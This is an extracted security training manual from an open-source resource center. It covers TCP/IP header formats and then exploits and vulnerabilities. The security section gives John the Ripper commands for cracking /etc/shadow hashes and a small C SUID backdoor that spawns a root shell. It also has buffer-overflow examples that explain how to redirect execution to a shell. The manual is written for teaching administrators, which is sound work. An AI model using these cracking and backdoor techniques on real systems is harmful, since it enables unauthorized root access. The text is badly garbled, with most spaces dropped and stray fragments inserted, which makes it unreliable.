Sunteți pe pagina 1din 120

OpenSourceSecurityTools

Introduction
TheOpenSourceResourceCenter(OSRC)isaprojectofthePakistanSoftwareExportBoard(PSEB), Ministry of Information Technology. It aims to promote and support open source initiatives in the countrythroughawareness raisingseminars,trainingworkshopsandnetworkmi rations. g Mostofsecuritybreachesoccurbecauseofthelackofawarenessandignoranceofsecuritypoliciesand management.Mostofthesebreachescanbepreventedifthesystemandnetworkisconfiguredwithsome basicsecuritymechanism. ThistrainingtoolkitistodevelopeanawarenessofbasicSecurityconceptswithafocusonusingopen sourcesecuritytools. Thetrainingprogramtargetsnetworkandsystemadministrator,Systemandnetworksupportstaff,and officers of different organizations such as banking, telecom, BPO, IT etc and students with basic knowledgeofsystemadministration.

AcknowledgementsandFeedback
MythankstoOSRC'sMr.ShahMansoorfordevelopingthiscourse. ThiscoursehasbeeneditedbyOSRC'sContentWriter,Ms.SeemaJavedAmin. TheOSRClooksforwardtoyourfeedbackregardingboththecourseandthetrainingprogram,andlooks forwardtoimprovingtheminthefuture. Thankyou.

KhurramIslamKhan ProjectManager(OpenSourceResourceCenter)

Contents
Sr.No 1.
TCP/IPinDepth InternetProtocol TCP UDP ICMP SecurityConcepts ExploitsAndVulnerabilities WeakPasswords SUIDBinarries BufferOverflows RaceConditions VirusesandWorms KeyLogging TrojansAndBackdoors Rootkits AttacksAgainstNetwork TCP/IPAttacks OpenSourceFirewalls Iptables Smoothwall Ipcop OpenSourceVPNs IpsecBasedVPNs IpsecAnOverview IpsecImplementationOnLinux OpenSourceScannersandsniffers PortScanners Nmap VulnerabilityScanners Nessus NetworkSniffers Wireshark OpenSourceIDS Snort

Description

Page
5 5 13 17 18 22 22 22 23 24 29 30 31 33 37 47 52 60 61 66 72 74 74 74 78 87 87 90 95 95 101 101 103 104

2.

3.

4.

5.

6.

TCP/IPInDepth InternetProtocol(IP)
TheInternetProtocol(IP)partoftheTCP/IPsuiteisafourlayermodel(Figure1.1).AnIPis designedtointerconnectnetworkstoformanInternettopassdatabackandforth.Itcontains addressingandcontrolinformationthatenablespacketstoberoutedthroughthisInternet.A packet is defined as a logical grouping of information, which includes a header containing controlinformationand,usually,userdata. Theequipmentthatencountersthesepackets,knownasrouters,stripsoffandexaminesthe headers that contain the sensitive routing information. These headers are modified and reformulatedasapackettobepassedalong. OneoftheIPsprimaryfunctionsistoprovideapermanentlyestablishedconnection(termed connectionless), unreliable, besteffort delivery of datagrams through an Internetwork. Datagramscanbedescribedasalogicalgroupingofinformationsentasanetworklayerunit overacommunicationmedium.IPdatagramsaretheprimaryinformationunitsintheInternet. AnotheroftheIPsprincipalresponsibilitiesisthefragmentationandreassemblyofdatagrams tosupportlinkswithdifferenttransmissionsizes.

Application TransmissionControlProtocol InternetProtocol NetworkAddress

Figure1.1ThefourlayerTCP/IPmodel

Version

4 Length

8 TypeofService

16

19

24 TotalLength

31

Identification

Flags

FragmentOffset

TimetoLive

Protocol

HeaderChecksum

SourceAddress

DestinationAddress

Options

Data Figure1.2AnIPPacket AnIPpacketcontainsthefollowingfieldsillustratedinFigure1.2: Version:TheIPversioncurrentlyused. IPHeaderLength(Length):Thedatagramheaderlengthin32bitwords. TypeofService (ToS): Howthe upperlayer protocol(the layer immediatelyabove, suchastransportprotocolslikeTCPandUDP)intendstohandlethecurrentdatagram andassignalevelofimportance. TotalLength:Thelength,inbytes,oftheentireIPpacket.

Identification:Anintegerusedtohelppiecetogetherdatagramfragments. Flag: A3bitfield,wherethefirstbitspecifieswhetherthepacketcanbefragmented. Thesecondbitindicateswhetherthepacketisthelastfragmentinaseries.Thefinalbit isnotusedatthistime. FragmentOffset:Thelocationofthefragmentsdata,relativetotheopeningdatainthe originaldatagram.Thisallowsforproperreconstructionoftheoriginaldatagram. TimetoLive(TTL):Acounterthatdecrementstozerotokeeppacketsfromendlessly looping.Thepacketisdroppedatthezeromark.

Protocol:Indicatestheupperlayerprotocolreceivingtheincomingpackets. HeaderChecksum:EnsurestheintegrityoftheIPheader. Source Address/Destination Address: The sending and receiving nodes (station, server,and/orrouter).

Options:Containssecurityoptions. Data:Upperlayerinformation.

Internet Protocol, Src: 203.215.161.166 (203.215.161.166), Dst: 92.122.208.208 (92.122.208.208) Version:4 Headerlength:20bytes DifferentiatedServicesField:0x00(DSCP0x00:Default;ECN:0x00) 000000..=DifferentiatedServicesCodepoint:Default(0x00) ......0.=ECNCapableTransport(ECT):0 .......0=ECNCE:0 TotalLength:480 Identification:0x0967(2407) Flags:0x04(Don'tFragment) 0...=Reservedbit:Notset .1..=Don'tfragment:Set 7

..0.=Morefragments:Notset Fragmentoffset:0 Timetolive:64 Protocol:TCP(0x06) Headerchecksum:0x94e8[correct] [Good:True] [Bad:False] Source:203.215.161.166(203.215.161.166) Destination:92.122.208.208(92.122.208.208) Internet Protocol, Src: 168.143.106.100 (168.143.106.100), Dst: 203.215.161.166 (203.215.161.166) Version:4 Headerlength:20bytes DifferentiatedServicesField:0x00(DSCP0x00:Default;ECN:0x00) 000000..=DifferentiatedServicesCodepoint:Default(0x00) ......0.=ECNCapableTransport(ECT):0 .......0=ECNCE:0 TotalLength:84 Identification:0x8a2e(35374) Flags:0x00 0...=Reservedbit:Notset .0..=Don'tfragment:Notset ..0.=Morefragments:Notset Fragmentoffset:0 Timetolive:54 Protocol:ICMP(0x01) Headerchecksum:0x7a09[correct] [Good:True] [Bad:False] Source:168.143.106.100(168.143.106.100) Destination:203.215.161.166(203.215.161.166)

IPDatagrams,Encapsulation,Size,andFragmentation
IPdatagramsaretheverybasic,orfundamental,transferunitoftheInternet.AnIPdatagramis 8

theunitofdatacommutedbetweenIPmodules.IPdatagramshaveheaderswithfieldsthat provideroutinginformationusedbyinfrastructureequipmentsuchasrouters(Figure1.3): DataforUpperLayer

IPHeader

IPData FrameCheck Segments

DataLinkHeader Figure1.3AnIPDatagram

DataLinkData

ThedatainapacketisnotreallyaconcernfortheIP.Instead,IPisconcernedwiththecontrol informationasitpertainstotheupperlayerprotocol.ThisinformationisstoredintheIPheader, whichtriestodeliverthedatagramtoitsdestinationonthelocalnetworkorovertheInternet. ThinkofIPasthemethodandthedatagramasthemeans. It is important to understand the methods a datagram uses to travel across networks. To sufficientlytravelacrosstheInternet,overphysicalmedia,wewantsomeguaranteethateach datagramtravelsinaphysicalframe.Theprocessofadatagramtravelingacrossmediaina frameiscalledencapsulation. One problem with a travelingdatagramis that networks enforcea Maximum Transfer Unit (MTU)size,orlimit,onthesizeoftransfer.Tofurtherconfusetheissue,differenttypesof networksenforcetheirownMTU;forexample,EthernethasanMTUof1500,FDDIuses4470 MTU, and so on. When datagrams traveling in frames cross network types with different specifiedsizelimits,routersmustsometimesdividethedatagramtoaccommodateasmaller MTU.Thisprocessisknownasfragmentation.

ARP/RARP Engineering: Introduction to Physical Hardware AddressMapping


Weneedtodiscoverhowahoststationorinfrastructureequipment,suchasarouter,matches

an IP address to a physical hardware address. Everyinterface, or Network InterfaceCard (NIC),inastation,server,orinfrastructureequipmenthasauniquephysicaladdressthatis programmedby,andboundinternallyby,itsmanufacturer. OnegoalofinfrastructuresoftwareistocommunicateusinganassignedIPorInternetaddress, whilehidingthe hardwares uniquephysicaladdress. Underneathallofthis is theaddress mappingoftheassignedaddresstotheactualphysicalhardwaresaddress.Programmersuse theAddressResolutionProtocol(ARP)tomaptheseaddresses. ARPisbasicallyapacketthatisbroadcastedtoallhostsattachedtoaphysicalnetwork.This packet contains the IP address of the node or station with which the sender wants to communicate.Otherhostsonthenetworkignorethispacketafterstoringacopyofthesenders IP/hardwareaddressmapping.Thetargethost,however,willreplywithitshardwareaddress, whichwillbereturnedtothesender,tobestoredinitsARPresponsecache.Thesetwonodes cannowcommunicatewitheachother.

ARPEncapsulationandHeaderFormatting
ItisimportanttoknowthatARPisnotanInternetprotocol;moreover,ARPdoesnotleavethe locallogicalnetwork,andthereforedoesnotneedtoberouted. Rather,ARPmustbebroadcasted,wherebyitcommunicateswitheveryhostinterfaceonthe network, traveling from machine to machine encapsulated in Ethernet packets (in the data portion). Figure 1.4 illustrates the encapsulation of an ARP packet, including the Reverse Address ResolutionProtocol(RARP).Thepacketscomponentsaredefinedinthefollowinglist:

10

TypeofService

TypeofProtocol

HardwareLength

ProtocolLength

OperationField

ARPSender'sHardwareAddress(03Octets)

ARPSender'sHardwareAddress(45Octets)

ARPSender'sIPAddress(01Octets)

ARPSender'sIPAddress(23Octets)

RARPTarget'sHardwareAddress(01Octets)

RARPTarget'sHardwareAddress(25Octets)

RARPTarget'sIPAddress(03Octets) Figure1.4AnARP/RARPPacket TypeofHardware:Specifiesthetargethostshardwareinterfacetype(1forEthernet). TypeofProtocol:Theprotocoltypethesenderhassupplied(0800foranIPaddress). HardwareLength:Thelengthofthehardwareaddress. ProtocolLength:Thelengthoftheprotocoladdress. Operation Field: Specifies whether either an ARP request/response or RARP request/response. ARPSendersHardwareAddress:Sendershardwareaddress. ARPSendersIPAddress:SendersIPaddress.

11

RARPTargetsHardware:Targetshardwareaddress. RARPTargetsIPAddress:TargetsIPaddress.

ARPpacketsdonothaveadefinedheaderformat.ThelengthfieldsshowninFigure1.4enable ARPtobeimplementedwithothertechnologies.

Reverse Address Resolution Protocol (RARP) Transactions, Encapsulation.


TheReverseAddressResolutionProtocol(RARP)is,tosomedegree,theoppositeofARP. Basically,RARPallowsastationtobroadcastitshardwareaddress,expectingaserverdaemon torespondwithanavailableIPaddressforthestationtouse.DisklessmachinesuseRARPto obtainIPaddressesfromRARPservers. ItisimportanttoknowthatRARPmessages,likeARP,areencapsulatedinEthernetframes. Likewise, RARP is broadcast from machine to machine, communicating with every host interfaceonthenetwork. ARPSender'sIPAddress(23Octets) RARPTarget'sHardwareAddress(01Octets)

RARPTarget'sHardwareAddress(25Octets)

RARPTarget'sIPAddress(03Octets) Figure1.5

RARPService
TheRARPdaemon(RARPd)isaservicethatrespondstoRARPrequests.Disklesssystems typicallyuseRARPatboottimetodiscovertheir32bitIPaddress,giventheir48bithardware Ethernetaddress.ThebootingmachinesendsitsEthernetaddress,encapsulatedinaframeas aRARPrequestmessage.TheserverrunningRARPdmusthavethemachinesnametoIP addressentry,oritmustbeavailablefromtheDomainNameServer(DNS)withitsnameto 12

Ethernetaddress.Withthesesourcesavailable,theRARPdservermapsthisEthernetaddress withthecorrespondingIPaddress. Note: RARP,withARPspoofing,givesahackertheabilitytopassivelyrequestanIPaddress,andto passivelypartakeinnetworkcommunications,typicallyunnoticedbyothernodes.

TransmissionControlProtocol(TCP)
IPhasmanyweaknesses,oneofwhichisunreliablepacketdeliverypacketsmaybedropped due to transmission errors, bad routes, and/or throughput degradation. The Transmission Control Protocol (TCP) helps reconcile these issues by providing reliable, streamoriented connections.Infact,TCP/IPispredominantlybasedonTCPfunctionality,whichisbasedonIP, to make up the TCP/IP suite. These features describe a connectionoriented process of communicationestablishment. ManycomponentsresultinTCPsreliableservicedelivery.Thefollowingaresomeofthemain points: Streams Dataissystematizedandtransferredasastreamofbits,organizedinto8bitoctetsorbytes.As thesebitsarereceived,theyarepassedoninthesamemanner. BufferFlowControl Asdataispassedinstreams,protocolsoftwaremaydividethestreamtofillspecificbuffer sizes.TCPmanagesthisprocess,andassuresavoidanceofabufferoverflow.Duringthis process, fastsending stations may be stopped periodically to keep up with slowreceiving stations. VirtualCircuits Whenonestationrequestscommunicationwithanother,bothstationsinformtheirapplication programs,andagreetocommunicate.Ifthelinkorcommunicationsbetweenthesestationsfail,

13

both stations are made aware of the breakdown and inform their respective software applications.Inthiscase,acoordinatedretryisattempted. FullDuplexConnectivity Streamtransferoccursinbothdirections,simultaneously,toreduceoverallnetworktraffic. SequencingandWindowing TCPorganizesandcountsbytesinthedatastreamusinga32bitsequencenumber.Every TCPpacketcontainsastartingsequencenumber(firstbyte)andanacknowledgmentnumber (lastbyte).Aconceptknownasaslidingwindowisimplementedtomakestreamtransmissions moreefficient.Theslidingwindowusesbandwidthmoreeffectively,becauseitwillallowthe transmissionofmultiplepacketsbeforeanacknowledgmentisrequired.

Figure1.6 Figure1.6isarealworldexampleoftheTCPslidingwindow.Inthisexample,asenderhas bytestosendinsequence(18)toareceivingstationwithawindowsizeof4.Thesending 14

stationplacesthefirst4bytesinawindowandsendsthem,thenwaitsforanacknowledgment (ACK=5).Thisacknowledgmentspecifiesthatthefirst4byteswerereceived.Then,assuming itswindowsizeisstill4andthatitisalsowaitingforthenextbyte(byte5),thesendingstation movestheslidingwindow4bytestotheright,andsendsbytes58.Uponreceivingthesebytes, thereceivingstationsendsanacknowledgment(ACK=9),indicatingthatitiswaitingforbyte9. Andtheprocesscontinues. Thereceivermayindicateawindowsizeof0atanypoint,inwhichcasethesenderwillnot sendanymorebytesuntilthewindowsizeisgreater.Atypicalcauseforthisoccurringisa bufferoverflow.

TCPPacketFormatandHeaderSnapshots
Keepinginmindthatitisimportanttodifferentiatebetweencapturedpacketswhethertheyare TCP,UDP,ARP,andsoonlookattheTCPpacketformatinFigure1.7,whosecomponents aredefinedinthefollowinglist: SourcePort DestinationPort

SequenceNumber

AcknowledgmentNumber

DataOffset

Reserved

Flags

WindowSize

Checksum

UrgentPointer

Options

Data Figure1.7 15

Source Port: Specifies the port at which the source processes send/receive TCP services.

DestinationPort: Specifiestheportatwhichthedestinationprocessessend/receive TCPservices.

SequenceNumber:A32bitnumberidentifyingthecurrentpositionofthefirstdatabyte inthesegmentwithintheentirebytestreamfortheTCPconnection.Afterreaching232 1,thisnumberwillwraparoundto0.

AcknowledgmentNumber:IftheACKbitisset,thisfieldcontainsthevalueofthenext sequencenumberthesegmentssenderexpectstoreceive. DataOffset: A4bitfieldthatspecifiesthetotalTCPheaderlengthin32bitwords. Withoutoptions,aTCPheaderisalways20bytesinlength.ThelargestaTCPheader maybeis60bytes.Thisfieldisrequiredbecausethesizeoftheoptionsfield(s)cannot bepredetermined. Reserved:Heldforfutureuse. Flags: Control information, such as SYN, ACK, and FIN bits, for connection establishmentandtermination. WindowSize: Thisnumbertellsthesenderhowmuchdatathereceiveriswillingto accept. Checksum:Specifiesanydamagetotheheaderthatoccurredduringtransmission. UrgentPointer: Incertaincircumstances,itmaybenecessaryforaTCPsenderto notify the receiver about urgent data that should be processed by the receiving applicationassoonaspossible.This16bitfieldtellsthereceiverwhenthelastbyteof urgentdatainthesegmentends. Options: ATCPsenderandreceivermayuseseveraloptionalparametersinorderto provideadditionalfunctionality.Thelengthofthisfieldwillvaryinsize,dependingonthe

16

option(s)used,butitcannotbelargerthan40bytesduetothesizeoftheheaderlength field(4bits).ThemostcommonoptionisthatofMaximumSegmentSize(MSS).ATCP receivertellstheTCPsendertheMSSitiswillingtoacceptthroughtheuseofthis option. Other options are often used for various flow control and congestion control techniques. Data:Upperlayerinformation.

UserDatagramProtocol(UDP)
TheUserDatagramProtocol(UDP)operatesinaconnectionlessfashion;itprovidesthesame unreliabledatagramdeliveryserviceasIP.UnlikeTCP,UDPdoesnotsendSYN/ACKbitsto assuredeliveryandreliabilityoftransmissions.Moreover,UDPdoesnotincludeflowcontrolor errorrecoveryfunctionality.Consequently,UDPmessagescanbelost,duplicated,orarrivein the wrong order. And because UDP contains smaller headers, it expends less network throughputthanTCP,andcanarrivefasterthanthereceivingstationcanprocessthem. UDPistypicallyutilizedwherehigherlayerprotocolsprovidenecessaryerrorrecoveryandflow control.PopularserverdaemonsthatemployUDPincludeNetworkFileSystem(NFS),Simple Network Management Protocol (SNMP), Trivial File Transfer Protocol (TFTP), and Domain NameSystem(DNS),etc.

UDPFormatting,Encapsulation,andHeaderSnapshots
UDP messages are known as user datagrams. These datagrams are encapsulated in IP, includingtheUDPheaderanddata,asittravelsacrosstheInternet.Basically,UDPaddsa headertothedatathatausersends,andpassesitalongtoIP.TheIPlayerthenaddsa headertowhatitreceivesfromUDP.Finally,thenetworkinterfacelayerinsertsthedatagramin aframebeforesendingitfromonemachinetoanother. As previously mentioned, UDP messages contain smaller headers and consume fewer overheadsthanTCP. TheUDPdatagramformatisshowninFigure1.8,anditscomponentsaredefinedinthelist thatfollows: 17

SourcePort

DestinationPort

MessageLength

Checksum

Data Figure1.8 Source/DestinationPort:A16bitUDPportnumberusedfordatagramprocessing. MessageLength:SpecifiesthenumberofoctetsintheUDPdatagram. Checksum:Anoptionalfieldtoverifydatagramdelivery. Data:ThedatahandeddowntotheTCPprotocol,includingupperlayerheaders.

InternetControlMessageProtocol(ICMP)
TheInternetControlMessageProtocol(ICMP)deliversmessagepackets,andreportserrors and other pertinent information to the sending station or source. Hosts and infrastructure equipmentusethismechanismtocommunicatecontrolanderrorinformationaspertainstoIP packetprocessing.

ICMPFormat,Encapsulation,andDelivery
ICMPmessageencapsulationisatwofoldprocess.ThemessagesareencapsulatedinIP datagrams,whichareencapsulatedinframes,astheytravelacrosstheInternet.Basically, ICMPusesthesameunreliablemeansofcommunicationsasadatagram.Thismeansthat ICMPerrormessagesmayeitherbelostorduplicated. TheICMPformatincludesamessagetypefield,indicatingthetypeofmessage;acodefield thatincludesdetailedinformationaboutthetype;andachecksumfield,whichprovidesthe samefunctionalityasIPschecksum. 18

WhenanICMPmessagereportsanerror,itincludestheheaderanddataofthedatagramthat causedthespecifiedproblem.Thishelpsthereceivingstationunderstandwhichapplication andprotocolsentthedatagram. MessageType Figure1.9 Code Checksum

MessageTypes:
MessageType 0 3 4 5 8 11 12 13 14 15 16 17 18 Figure1.10ICMPMessageChart TherearemanytypesofusefulICMPmessages.Figure1.10containsalistofseveral,which aredescribedinthefollowinglist: EchoReply DestinationUnreachable SourceQuench RouteRedirect EchoRequest DatagramTimeExceeded DatagramParameterProblem TimestampRequest TimestampReply InformationRequest InformationReply AddressMaskRequest AddressMaskReply Description

19

Echo Reply (Type 0)/Echo Request (Type 8): The basic mechanism for testing possiblecommunicationbetweentwonodes.Thereceivingstation,ifavailable,isasked toreplytotheping.

Destination Unreachable (Type 3): There are several issuances for this message type,includingwhenarouterorgatewaydoesnotknowhowtoreachthedestination, whenaprotocolorapplicationisnotactive,whenadatagramspecifiesanunstable route,orwhenaroutermustfragmentthesizeofadatagramandcannotbecausethe DontFragmentFlagisset.

SourceQuench(Type4): Abasicformofflowcontrolfordatagramdelivery.When datagrams arrive too quickly at a receiving station to process, the datagrams are discarded.Duringthisprocess,foreverydatagramthathasbeendropped,anICMP Type4messageispassedalongtothesendingstation.TheSourceQuenchmessages actuallybecomerequests,toslowdowntherateatwhichdatagramsaresent.

Route Redirect (Type 5): Routing information is exchanged periodically to accommodatenetworkchangesandtokeeproutingtablesuptodate.Whenarouter identifiesahostthatisusinganonoptionalroute,theroutersendsanICMPType5 messagewhileforwardingthedatagramtothedestinationnetwork.Asaresult,routers cansendType5messagesonlytohostsdirectlyconnectedtotheirnetworks.

Datagram Time Exceeded (Type 11): A gateway or router will emit a Type 11 messageifitisforcedtodropadatagrambecausetheTTL(TimetoLive)fieldissetto 0.

Datagram Parameter Problem (Type 12): Specifies a problem with the datagram headerthatisimpedingfurtherprocessing.Thedatagramwillbediscarded,andaType 12messagewillbetransmitted.

TimestampRequest(Type13)/TimestampReply(Type14):Theseprovideameans fordelaytabulationofthenetwork.Thesendingstationinjectsasendtimestamp(the timethemessagewassent)andthereceivingstationwillappendareceivetimestampto computeanestimateddelaytimeandassistintheirinternalclocksynchronization.

InformationRequest(Type15)/InformationReply(Type16): Asanalternativeto

20

RARP(describedpreviously),stationsuseType15andType16toobtainanInternet addressforanetworkto whichtheyareattached.The sendingstationwillemitthe message,withthenetworkportionoftheInternetaddress,andwaitforaresponse,with thehostportion(itsIPaddress)filledin.

AddressMaskRequest(Type17)/AddressMaskReply(Type18): Similartoan InformationRequest/Reply,stationscansendType17andType18messagestoobtain thesubnetmaskofthenetworktowhichtheyareattached.Stationsmaysubmitthis requesttoaknownnode,suchasagatewayorrouter,orbroadcasttherequesttothe networktp://www.google.com/.

21

SecurityConcepts ExploitsandVulnerability
The following are some of the common ways in which an initial compromise can occur, includingweakpasswords,SUIDbinaries,andbufferoverflows.

WeakPasswords ThesimplestandstilloneofthemosteffectivevulnerabilitiesinLinuxistheuseofweakornon existentpasswords.Anadministratormaybewellversedintheartofchoosingcomplicated passwords,butwhataboutusers?Manyuserschoosesimplepasswords,whichthreatenthe securityofthewholesystem. Mostapplicationsstoreuserpasswordsusingsomeformofencryptionorhashing,butitisstill essentialtolimitaccesstothemasmuchaspossiblebecauseoftheriskofpasswordcracking. ModernhashmethodssuchasMD5areoneway:nomathematicalformulacanbeappliedto convertanencryptedpasswordbacktoitsoriginalplaintext.Instead,programssuchaslogin hashthepasswordenteredbytheuser,andcomparethiswiththeuser'shashedpasswordin /etc/shadow.Ifthetwohashedpasswordsareidentical,thetwoplaintextpasswordsmustalso beidentical,andtheuserisloggedintothesystem.Unlessthereisaweaknessinthismethod, whichallowsanalgorithmtobeusedtocrackapassword(andoccasionallysuchweaknesses arefound),theonlywaytodiscovertheplaintextversionofahashistohasheverypossible sequenceofcharactersuntilamatchisfound. NinetyeightdifferentcharacterscanbeusedtoformpasswordsforaccountsonLinuxsystems; with a fourcharacter password, for example, there are more than 90 million possible combinations(98^4).Thismightseemlikealot,butonamodest1GHzmachine,afour character password hashed with MD5 can be cracked in under an hour. A fivecharacter passwordcantakeuptothreedays,andasixcharacterpasswordcantakeuptoalittleunder oneyear.Theseareworstcasescenariosforanattacker.Manypeoplejustuselowercase lettersfortheirpasswords,and,ifacrackerlimitshispermutationstojustlowercase,asix characterpasswordcanbecrackedwithinaday.Theseroughcalculationsalsofailtoaccount forthefactthatacrackermayhavedozensofmachinesathisdisposal;withacombined processingpowerof10GHz,thesefigurescanbereducedbyafactorof10. 22

JohntheRipper JohntheRipperisafastandhighlyflexibleUNIXpasswordcracker.ItisavailableforUNIX, DOS,andWindows. Afterinstalling,entertherundirectory,and(asroot)usetheunshadowbinarytogeneratean unshadowedversionof/etc/passwd: #./unshadow/etc/passwd/etc/shadow>passwd.1 Usethesimplestcrackingmethodforthefirsttime,andmoreadvancedfeatureslaterifthe standardmethoddoesnotproduceanyresults. $./johnpasswd.1 Loaded7passwordswith3differentsalts(FreeBSDMD5[32/32]) letmein(apollo) testtest(zeus) guesses:2time:0:00:00:044%(1)c/s:1028trying:Crystal1 Sessionaborted Formorepersistentpasswords,usethewoptiontoperformdictionarybasedcracking: $./johnw:/usr/share/dict/wordspasswd.1 suidBinaries Sometimesanordinaryuserneedsaccesstopartsofthesystemusuallyaccessibleonlyby root,tochangehispasswordordefaultshell,forexample.UNIXsystemsimplementthisby usingthesetuserid(SUID)flag,whichcausesanexecutablefiletorunwiththepermissionsof itsowner,notwiththoseoftheuserinvokingit. OnesuchexampleistheXFree86binary,whichneedsaccesstoprobehardwareaprivilege normallyonlygrantedtoroot.BysettingtheSUIDflagon/usr/X11R6/bin/XFree86,regular userscanlaunchX.CloselyrelatedtotheSUIDattribute,isSGID(setgroupid).Theprinciple isthesame,onlythistimethefileexecutesasthegroupthatownsit.TheSGIDattributeis 23

commonlyusedforgameskeepingaglobalscorefile.Thegamemustbeabletowritetothe scorefilenomatterwhoisplayingit,but,atthesametime,usersshouldnotbeallowedto tamperwiththescores.SUIDandSGIDfilescanbespottedbyexaminingafile'sattributes,via thelscommand,usingthelswitch("long")formoreverboseoutput: rwsxx1rootbin1720796Mar22003\ /usr/X11R6/bin/XFree86 rxrsrx1rootgames31916Feb132003/usr/bin/glines Inthefirstexample,thesintheownerexecutablepositionsindicatesthefileisSUID,whereas inthesecondexample,thesflaginthegroupexecutablepositionindicatesthatthefileis SGID.Withacrackerhavingaccesstorunabinaryasroot,theopportunityforabuseishigh. Racesandbufferoverflows(bothdiscussedlater)arepossibilities,asareattacksbasedon unexpected input, or tarnished environmental variables. In fact, SUID shell scripts are consideredsodangerousthatLinuxrefusestohonortheSUIDbitonthem. AsidefromthepotentialforabuseinlegitimateSUIDprograms,acrackerwhohasgainedroot access may set the SUID flag on abinary as a means ofregainingsuperuser privileges. Previously,thetypicalmethodwastorenameaSUIDcopyof/bin/shandhideitinadirectory suchas/tmp.Byexecutingthisbinary,theuserwasthendroppedintoarootshell,andwas abletoexecuteprivilegedcommands.ShellssuppliedwithrecentversionsofLinuxfixedthis problembydroppingallSUID/SGIDprivileges,butanattackercanstillcreateaSUIDbackdoor byusingasmallCwrapperprogramtolaunchtheshell.Compilingthefollowingprogram,and settingtheSUIDbitcausesittospawnarootshellwhenexecutedasanunprivilegeduser: #include<stdlib.h> main(){ setuid(0); system("/bin/bash"); }

TheBufferOverflow
TheBasics

24

Linux divides physical memory (RAM) into 4 KB blocks, called pages, each with a unique number.Thefirststepinexecutingaprogramistoloaditintomemory,sothekernelallocates oneormorepagestotheprocess,keepingtrackofwhichpageisinusebywhichprogramin aninternaltable.Pagedmemoryusesrelativeaddressing;alldatainthepageisreferenced relativetothestartofthepage.Thisfreestheprocessfromhavingtoworryaboutitsexact locationinmemory. Memoryusedbytheprocessisdividedintothreedistinctblocks: TextRegion: Thiscontainsinstructionsandreadonlydata.Thereshouldbenoneedtomodifythedatahere, itis,therefore,markedasreadonly,andanyattempttowritetoitgeneratesasegmentation violation. DataRegion: Bothstaticanddynamicdataisstoredhere.Itssizemaybechanged,ifnecessary,andthe datastoredhereissharedotherprocessesmayfreelyaccessit. StackRegion: Thisisusedtostoredynamicdata,suchasvariablespassedbetweenfunctions.Thisisthe mostimportantregionforyoutoconsider. ThesethreeregionsareshowninFigure2.1

25

LowMemory

Text

Data

Stack
Figure2.1HighMemory TheStack Stacksareamethodofstoringdatainwhichnewlyaddeditemsareplaced"ontop"ofexisting items.Whenyouretrievedatafromastack,themostrecentlyaddeditemisaccessedfirst.The commonanalogyisthatofdinnerplates.Imaginethatyouworkarestaurantskitchen.When thechefasksforaplate,youtakeoneoffthetopofthepile;andwhenaplatehasbeen washedanddried,youplaceitonthetopofthepile.Incomputersciencespeak,youpushand poptheplates,andthesystemisdescribedasFirstIn,LastOut(FILO)orLastIn,FirstOut (LIFO). Astackssizeisdynamic,withthekernelcapableofincreasingordecreasingitssizeduring runtime.Thebottomofthestackisatafixedaddress(usuallytheendofthepage),andaStack Pointer (SP) is used to point to the top of the stack. So why are stacks so important to crackers?Allhighlevelprogramminglanguages(suchasC/C++,Java,Perl,andPython)use functions. Some languages refer to them as subroutines or procedures, but they are all essentially the same thing. A function is an abstract concept, and passing data between functionsisimplementedbyusingastack.Whenafunctioniscalled,itsparametersarepushed ontothestackinreverseorder.NextcomestheReturnAddress(RET)theaddressexecution shouldjumpbacktoafterthefunctionhasfinishedfollowedbyaFramePointer(FP),and, finally,anyautomaticlocalvariables:

26

LocalVariables

FT

RET Parameters

Figure2.2:Stacklayoutduringafunctioncall Let'slookatanexample: voidtest(inta,intb,intc){ charbuffer1[5]; charbuffer2[10]; } voidmain(){ test(1,2,3); } Figure2.3showshowthestacklookswhenthefunctiontestiscalled: Buffer2 Buffer1 FT RET a b c

3AFOB15E388CF2 9BA299FB38C 29C3D 115E3C Figure2.3Localvariablesforfunctiontest Parameterspassed tofunctiontest

On32bitmachines,awordis4bytes,andmemorymustbeaddressedinmultiplesofwords. Sobuffer1isallocated8bytes,andbuffer212bytes. TheOverflow In thepreviousexample,a fixed amount ofstoragespace hasbeen allocated for the two characterarraysbuffer1andbuffer2,butwhathappensifyouattempttostoremoredatain themthanwasinitiallyallocated?Here'sanotherexample: voidtest(char*str){ charbuffer[10]; strcpy(buffer,str); } voidmain(){ charlarge_string='AAAAAAAAAAAAAAAAAAAAA';//20bytelong 27

test(large_string); } Executingthiscodecausesasegmentationfault(SEGfault).Inordertounderstandwhy,look atthecontentsofthestackwhenthefunctiontestiscalled: Buffer AAAAAAAAAAAA FP RET *str

AAAA AAAA

Figure2.4.Thebufferoverflows,causingRETtobeoverwritten 12byteshavebeenallocatedforthebuffer(becauseitmustbeamultipleofthewordsize),but large_stringis20byteslong.AsshowninFigure2.4,whenstriscopiedintothebuffer,the extradataspillsoverinthiscase,clobberingFPandRET(both4byteswide).Thecharacter Ahasahexvalueof0x41,meaningthereturnaddressisnow0x41414141.Whenthefunction ends, the process attempts to jump to this address, and, because it is out of range, a segmentationfaultisgenerated.Thisisaprettyannoyingproblemaneasymistakethat stemsfromthefactthatfunctionssuchasstrcpydonotperformanyboundarychecking.Toa cracker,however,thisisagoodsituation,becauseitallowshimtochangetheprogram'sflowof execution.Considerthefollowingprogram,whichreadsuserinputintoanarray: voidfunction(void){ charsmall[30]; gets(small); } voidmain(){ function(); } Withgets()providingnoboundarychecking,ausercaneasilyoverflowthebuffer(whether intentionallyornot),causingthereturnaddresstochange,andexecutiontojumptoanother areaoftheprocess'smemory.Insomecases,theattackermayusethistobypasscertain sections of the program (such as a function that validates an entered password before continuing),buthewouldmostprobablywanttospawnashell.Sothenextquestionpertainsto howtheattackermayforcecommandsofhischoicetobeexecuted.Thesolutioniselegantly simple: place the commands into the buffer you are overflowing, and overwrite the return 28

addresssothatitpointsbacktothebeginningofthebuffer.

RaceConditions
